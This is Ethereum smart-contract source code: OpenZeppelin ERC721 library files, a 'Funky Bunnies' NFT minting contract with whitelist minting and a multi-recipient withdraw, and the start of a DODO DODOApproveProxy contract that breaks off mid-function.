return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: FunkyBunnies.sol
/*
███████╗██╗░░░██╗███╗░░██╗██╗░░██╗██╗░░░██╗ ██████╗░██╗░░░██╗███╗░░██╗███╗░░██╗██╗███████╗░██████╗
██╔════╝██║░░░██║████╗░██║██║░██╔╝╚██╗░██╔╝ ██╔══██╗██║░░░██║████╗░██║████╗░██║██║██╔════╝██╔════╝
█████╗░░██║░░░██║██╔██╗██║█████═╝░░╚████╔╝░ ██████╦╝██║░░░██║██╔██╗██║██╔██╗██║██║█████╗░░╚█████╗░
██╔══╝░░██║░░░██║██║╚████║██╔═██╗░░░╚██╔╝░░ ██╔══██╗██║░░░██║██║╚████║██║╚████║██║██╔══╝░░░╚═══██╗
██║░░░░░╚██████╔╝██║░╚███║██║░╚██╗░░░██║░░░ ██████╦╝╚██████╔╝██║░╚███║██║░╚███║██║███████╗██████╔╝
╚═╝░░░░░░╚═════╝░╚═╝░░╚══╝╚═╝░░╚═╝░░░╚═╝░░░ ╚═════╝░░╚═════╝░╚═╝░░╚══╝╚═╝░░╚══╝╚═╝╚══════╝╚═════╝░
*/
// Artist: Allen
// Author: KIRA
pragma solidity ^0.8.9;
contract FunkyBunnies is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri = "https://gateway.pinata.cloud/ipfs/QmYSGWGvCpbAeJJAyhRAsPLb6YX1ydRTrmsKB8e5CYb5FH/preview_metadata.json";
uint256 public cost = 0.07 ether;
uint256 public maxSupply = 3333;
uint256 public maxMintAmountPerTx = 3;
bool public dormant = true;
bool public paused = false;
bool public revealed = false;
bytes32 public merkleRoot = 0x7625da3c79d52d498a046ec7c0e0a0c4711ff548431db5bc5329383c584c07dc;
address public cet = 0x30b4DB1B25d8Bc64B2CAd8d9AcA58305FF60C514;
mapping(address => bool) public whitelistClaimed;
constructor() ERC721("Funky Bunnies", "FBC") {
}
modifier mintCompliance(uint256 _mintAmount,bytes32[] calldata _merkleProof) {
require(!paused, "The contract is paused!");
require(whitelistClaimed[msg.sender] != true, "Already Claimed !");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid Merkle Proof !");
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount !");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded !");
_;
}
function mint(uint256 _mintAmount,bytes32[] calldata _merkleProof ) public payable mintCompliance(_mintAmount, _merkleProof) {
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_mintLoop(msg.sender, _mintAmount);
whitelistClaimed[msg.sender]= true;
}
function pmint(uint256 _mintAmount) public payable {
require(!dormant, "The function is dormant!");
require(!paused, "The contract is paused!");
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount !");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded !");
require(msg.value >= cost * _mintAmount, "Insufficient funds!");
_mintLoop(msg.sender, _mintAmount);
}
function airdrop(uint256 _mintAmount, address _receiver) public onlyOwner {
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded !");
_mintLoop(_receiver, _mintAmount);
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
for (uint256 i = 0; i < _mintAmount; i++) {
supply.increment();
_safeMint(_receiver, supply.current());
}
}
function walletOfOwner(address _owner) public view returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory ownedTokenIds = new uint256[](ownerTokenCount);
uint256 currentTokenId = 1;
uint256 ownedTokenIndex = 0;
while (ownedTokenIndex < ownerTokenCount && currentTokenId <= maxSupply) {
address currentTokenOwner = ownerOf(currentTokenId);
if (currentTokenOwner == _owner) {
ownedTokenIds[ownedTokenIndex] = currentTokenId;
ownedTokenIndex++;
}
currentTokenId++;
}
return ownedTokenIds;
}
function _baseURI() internal view virtual override returns (string memory) {
return uriPrefix;
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory)
{
require(_exists(_tokenId),"URI query for nonexistent token");
if (revealed == false) {
return hiddenMetadataUri;
}
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, _tokenId.toString(), uriSuffix)): "";
}
function totalSupply() public view returns (uint256) {
return supply.current();
}
function setmerkleroot(bytes32 _merkleroot) public onlyOwner {
merkleRoot = _merkleroot;
}
function setRevealed(bool _state) public onlyOwner {
revealed = _state;
}
function setCost(uint256 _cost) public onlyOwner {
cost = _cost;
}
function setmaxSupply(uint256 _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
maxMintAmountPerTx = _maxMintAmountPerTx;
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
hiddenMetadataUri = _hiddenMetadataUri;
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
uriPrefix = _uriPrefix;
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
uriSuffix = _uriSuffix;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function setdormancy(bool _state) public onlyOwner {
dormant = _state;
}
function setcet(address _address) public onlyOwner {
cet = _address;
}
function withdraw() public onlyOwner {
(bool kira, ) = payable(0x9769Dd9831a96E49B2c73C3C8431ff349AebD328).call{value: address(this).balance * 5 / 100}("");
require(kira);
(bool sam, ) = payable(0x5C6161C09c29876596BE53dC5546f7ec5298d896).call{value: address(this).balance * 2 / 100}("");
require(sam);
(bool nftg, ) = payable(0x79E8494196aC33048c3907c9751A6C9DB35D5c7C).call{value: address(this).balance * 20 / 100}("");
require(nftg);
(bool cllbm, ) = payable(0x48E9490dDe0fcE89F1f2bc9228AADe05540981Fb).call{value: address(this).balance * 2 / 100}("");
require(cllbm);
(bool ce, ) = payable(0x24a7727faF8AaDf9cfF0a6f2C973350574581f2A).call{value: address(this).balance * 1 / 100}("");
require(ce);
(bool cetw, ) = payable(cet).call{value: address(this).balance * 1 / 100}("");
require(cetw);
(bool karan, ) = payable(0x260E714eE6F1EFf13B1CD1B0bb9049a4CcA5c179).call{value: address(this).balance * 8 / 100}("");
require(karan);
(bool jazz, ) = payable(0x093e138363d5A3538CAd3D1237e8ee6A08A4039A).call{value: address(this).balance * 11 / 100}("");
require(jazz);
(bool allen, ) = payable(owner()).call{value: address(this).balance}("");
require(allen);
}
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/**
*Submitted for verification at Etherscan.io on 2021-02-09
*/
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/InitializableOwnable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract InitializableOwnable {
address public _OWNER_;
address public _NEW_OWNER_;
bool internal _INITIALIZED_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier notInitialized() {
require(!_INITIALIZED_, "DODO_INITIALIZED");
_;
}
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
function initOwner(address newOwner) public notInitialized {
_INITIALIZED_ = true;
_OWNER_ = newOwner;
}
function transferOwnership(address newOwner) public onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() public {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IDODOApprove.sol
interface IDODOApprove {
function claimTokens(address token,address who,address dest,uint256 amount) external;
function getDODOProxy() external view returns (address);
}
// File: contracts/SmartRoute/DODOApproveProxy.sol
interface IDODOApproveProxy {
function isAllowedProxy(address _proxy) external view returns (bool);
function claimTokens(address token,address who,address dest,uint256 amount) external;
}
/**
* @title DODOApproveProxy
* @author DODO Breeder
*
* @notice Allow different version dodoproxy to claim from DODOApprove
*/
contract DODOApproveProxy is InitializableOwnable {
// ============ Storage ============
uint256 private constant _TIMELOCK_DURATION_ = 3 days;
mapping (address => bool) public _IS_ALLOWED_PROXY_;
uint256 public _TIMELOCK_;
address public _PENDING_ADD_DODO_PROXY_;
address public immutable _DODO_APPROVE_;
// ============ Modifiers ============
modifier notLocked() {
require(
_TIMELOCK_ <= block.timestamp,
"SetProxy is timelocked"
);
_;
}
constructor(address dodoApporve) public {
_DODO_APPROVE_ = dodoApporve;
}
function init(address owner, address[] memory proxies) external {
initOwner(owner);
for(uint i = 0; i < proxies.length; i++)
_IS_ALLOWED_PROXY_[proxies[i]] = true;
}
function unlockAddProxy(address newDodoProxy) public onlyOwner {
_TIMELOCK_ = block.timestamp + _TIMELOCK_DURATION_;
_PENDING_ADD_DODO_PROXY_ = newDodoProxy;
}
function lockAddProxy() public onlyOwner {
_PENDING_ADD_DODO_PROXY_ = address(0);
_TIMELOCK_ = 0;
}
function addDODOProxy() external onlyOwner notLocked() {
_IS_ALLOWED_PROXY_[_PENDING_ADD_DODO_PROXY_] = true;
lockAddProxy();
}
function removeDODOProxy (address oldDodoProxy) public onlyOwner {
_IS_ALLOWED_PROXY_[oldDodoProxy] = false;
}
function claimTokens(
address token,
address who,
address dest,
uint256 amount
) external {
